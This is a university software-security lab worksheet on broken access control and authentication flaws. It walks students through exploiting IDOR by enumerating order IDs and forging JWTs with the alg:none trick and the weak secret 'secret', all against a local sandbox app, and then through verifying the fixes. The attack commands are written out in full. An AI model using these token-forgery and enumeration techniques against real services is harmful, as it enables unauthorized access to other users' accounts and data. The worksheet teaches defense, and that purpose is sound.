Worksheet 6 — Authentication, Sessions & Access Control (3 hrs)
← all weeks · readme · attack · slides
Worksheet 6 — Authentication, Sessions & Access Control (3 hrs)
Course: Software Security (KOSEN69) · Week 6 Aligned: OWASP 2025 A01 Broken Access Control, A07 Authentication Failures · CWE-639 (IDOR), CWE-347 (improper signature verification), CWE-321 (weak hardcoded key) Signature games: 🗺️ IDOR Treasure Hunt — walk the
oidnumbers to loot orders that aren't yours · 🔏 JWT Forgery — mint a token you were never given.
⚠️ Ethics note: Forging tokens and accessing other users' objects is only legal in this sandbox (
vulnerable_app.py) and your own Juice Shop. Doing it to a real service is unauthorized access. Keep all activity insidehttp://localhost:8080.
Part 1 — Student Information
| Name | Student ID | Date | Group |
|---|---|---|---|
Part 2 — Lecture Questions
Answer in 2–4 sentences each.
- Distinguish authentication from authorization. In
vulnerable_app.py,get_ordercallscurrent_user()but ignores its result (L63) — which of the two is missing? - What is IDOR (CWE-639)? Why is
/api/orders/<oid>exploitable, and what single check insolution_app.py(L64) closes it? - Explain the **
alg:none** JWT attack. Why does listing"none"inalgorithms=[...](L55) let an attacker submit an unsigned token? - Why is the hardcoded HMAC secret
"secret"(CWE-321) dangerous even ifalg:nonewere disabled? How does a strong random secret + pinned algorithm defend the token? - What do the JWT claims **
expandaud** add, and why does the secure version reject tokens that lack them?
Part 3 — Hands-on Lab (150 min)
Learning goals: exploit IDOR, forge JWTs two ways (alg:none and weak secret), then prove solution_app.py enforces ownership and rejects forged tokens. Steps mirror attack.md.
Prerequisites: Docker + Docker Compose, curl, python3 with pyjwt, optionally Burp Suite. Working dir: labs/week06-authn-authz/.
Environment setup
cd labs/week06-authn-authz
docker compose up # python:3.12-slim + flask + pyjwt, runs vulnerable_app.py
# vulnerable app -> http://localhost:8080 (service name: authz-lab, port 8080)
Optional secondary target / proxy:
docker run --rm -p 3000:3000 bkimminich/juice-shop # -> http://localhost:3000
# Burp Suite: set browser proxy to 127.0.0.1:8080 to intercept/replay requests
What to submit per task: the exact command/token, a screenshot of the JSON response, and a 2–3 sentence mitigation.
Task 0 — Onboarding (5 min). Get alice's token (from attack.md):
TOKEN=$(curl -s -X POST http://localhost:8080/login \
-H 'Content-Type: application/json' \
-d '{"user":"alice","pw":"alicepw"}' | python3 -c 'import sys,json;print(json.load(sys.stdin)["token"])')
echo "$TOKEN"
Confirm /api/orders/1 returns alice's Laptop order. Deliverable: screenshot of the token + order 1.
Task 1 — IDOR Treasure Hunt (30 min) 🗺️.
- Goal: read bob's order with alice's token.
- Steps:
curl -s http://localhost:8080/api/orders/1 -H "Authorization: Bearer $TOKEN" # yours
curl -s http://localhost:8080/api/orders/2 -H "Authorization: Bearer $TOKEN" # bob's — leaks!
- Deliverable: both responses + screenshot of bob's
Phoneorder + why the missing ownership check (CWE-639) is the root cause.
Task 2 — JWT Forgery via alg:none (30 min) 🔏.
- Goal: impersonate bob with an unsigned token (no secret needed).
- Steps:
FORGED=$(python3 - <<'PY'
import jwt
print(jwt.encode({"sub": "bob"}, key="", algorithm="none"))
PY
)
curl -s http://localhost:8080/api/orders/2 -H "Authorization: Bearer $FORGED"
- Deliverable: the forged token + screenshot of the accepted response + explanation of the
noneflaw (CWE-347).
Task 3 — JWT Forgery via weak secret (30 min) 🔏.
- Goal: sign a valid HS256 token because the secret is the guessable string
secret(CWE-321). - Steps:
FORGED2=$(python3 - <<'PY'
import jwt
print(jwt.encode({"sub": "bob"}, "secret", algorithm="HS256"))
PY
)
curl -s http://localhost:8080/api/orders/2 -H "Authorization: Bearer $FORGED2"
- Deliverable: token + screenshot + 2–3 sentences on why secret strength + key management matter.
Task 4 — Privilege/identity escalation reasoning (25 min).
- Goal: combine the flaws. Using Task 2/3 you became
bobwithout his password; using Task 1 you read objects you don't own. - Steps: document the full attack chain (forge token → access any
oid). Optionally replay the requests through Burp Suite Repeater and screenshot the intercepted request/response. - Deliverable: a short chain diagram/paragraph + Burp (or curl) evidence.
Task 5 — Defend / fix it (30 min) 🛡️.
- Goal: prove
solution_app.pyblocks Tasks 1–3. - Steps: stop the vulnerable container (
Ctrl-C), then:
docker compose run --rm --service-ports authz-lab bash -c "pip install --no-cache-dir flask pyjwt && python solution_app.py"
Re-run: get a fresh alice token, then re-fire each attack. Expected: /api/orders/2 with alice's token → 403 forbidden (ownership check, L64); the alg:none token → 401 invalid token (algorithm pinned to HS256, L50); the "secret" token → 401 (strong random secret + required aud/exp, L10/40).
- Deliverable: screenshots of the 403 and both 401s + name the fix line for each.
Part 4 — Reflection
- CWE/OWASP mapping: map IDOR → CWE-639 / A01, the JWT forgeries → CWE-347 & CWE-321 / A07.
- Real breach: the 2022 Optus breach exposed millions of customer records via an exposed/poorly-authorized API endpoint where identifiers could be enumerated — a textbook broken-access-control / IDOR-style failure. In 3–4 sentences connect it to Tasks 1 and 4 of this lab. (Alternative: the Peloton API IDOR disclosure.)
- Best mitigation: between deny-by-default ownership checks, pinning the JWT algorithm, and a strong managed secret, which control protects the most attack surface here, and why is server-side authorization non-negotiable?
Grading rubric (100)
| Criterion | Points |
|---|---|
| Part 2 — Lecture questions (conceptual accuracy) | 20 |
| Part 3 — Exploitation + evidence (payloads/tokens + screenshots, Tasks 1–4) | 40 |
| Part 3 — Defense (Task 5: fixes proven, lines cited) | 25 |
| Part 4 — Reflection (CWE/OWASP mapping, breach, mitigation) | 15 |
| Total | 100 |
Evidence & Integrity (required)
- Identity proof: every screenshot/diagram must show your **
whoami/ login email / student ID and a timestamp**. Generic or borrowed evidence is not accepted. - Personalized flag (if this lab issues one): ____________________
Flags are unique per student — submitting another student's flag is a violation. See SUBMISSION.md.
- Explain in your own words (graded on your reasoning, not copied text):
- What did you do, and why did the vulnerability work?
- Why does your fix actually stop it — and what could still break it?
🤖 Audit the AI (required)
AI is a power tool you must distrust — you are graded on your critique, not the AI's answer.
- Ask an AI assistant to exploit or fix this week's vulnerability. Paste its full answer.
- Find what's wrong or risky in it — insecure code, a subtly incomplete fix, a hallucinated API/function/CVE, a missed edge case, or wrong reasoning. Quote the exact line(s).
- Produce the correct, verified version yourself and explain in 2–3 sentences why the AI's output was insufficient.
Disclose your AI use in the Part 1 table. This task counts toward your Defense + Reflection score.
🧠 Comprehension & Prompt (required)
A. Explain in Plain English (EiPE). In 2–3 sentences, in your own words, describe what this week's vulnerable code/endpoint actually does and why it is exploitable — explain the mechanism, don't dump jargon.
B. Prompt Problem. Write a single prompt that makes an AI produce a correct, secure fix for one finding. Run it: does the exploit now fail? If not, refine the prompt and try again. Submit the final prompt + the verified result. Graded on the prompt's precision and your verification — this trains problem decomposition and AI literacy (Denny et al. 2024).